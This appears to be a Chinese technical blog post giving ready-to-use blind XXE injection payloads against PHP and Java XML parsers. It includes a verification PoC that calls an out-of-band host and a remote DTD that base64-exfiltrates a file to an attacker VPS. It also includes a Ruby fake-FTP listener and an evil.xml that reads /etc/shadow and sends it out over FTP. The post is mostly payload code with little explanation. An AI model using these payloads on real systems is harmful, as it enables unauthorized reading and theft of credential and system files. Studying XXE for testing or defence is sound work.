XXE blind 简单poc & 读文件

本文介绍了XML外部实体(XXE)注入攻击的基本原理及利用方法,包括如何构造简单的验证POC,通过不同语言环境(如PHP和Java)进行XXE攻击以获取敏感文件内容的具体实践案例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原理简介:

https://blog.youkuaiyun.com/u011721501/article/details/43775691

首先你要确定是xml格式的数据,content-type是xml,PHP和JAVA利用有点不一样

简单验证POC:

<!DOCTYPE b [<!ENTITY xxe SYSTEM  "http://xxxxx.ceye.io/sworderNB22222-----">]>
<name>&xxe;</name>

PHP 利用方式. // python3 http.server 9099 开个服务 就行,读到的文件 直接就显示 出来了(访问日志)

读取文件POC 利用:

自己vps放置

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://your_vps/get.php?file=%file;'>">

访问post处贴

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % remote SYSTEM "http://your_vps/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

JAVA利用方式

参考 http://www.voidcn.com/article/p-njawsjxm-ko.html

参考 从 blind XXE 到读取根目录文件 - 先知社区

自己VPS运行:  

ruby ftp.rb(centos安装ruby挺方便,别嫌麻烦,就一行命令
// name ftp.rb
require 'socket'
server = TCPServer.new 8080
loop do
  Thread.start(server.accept) do |client|
    puts "New client connected"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        puts "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
           #puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
  end
end

自己VPS放置:

// evil.xml
<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'ftp://ip:8080/%file;'>">
%int;
%send;

访问post处贴

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip/evil.xml">
%remote;]>
<root/>


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值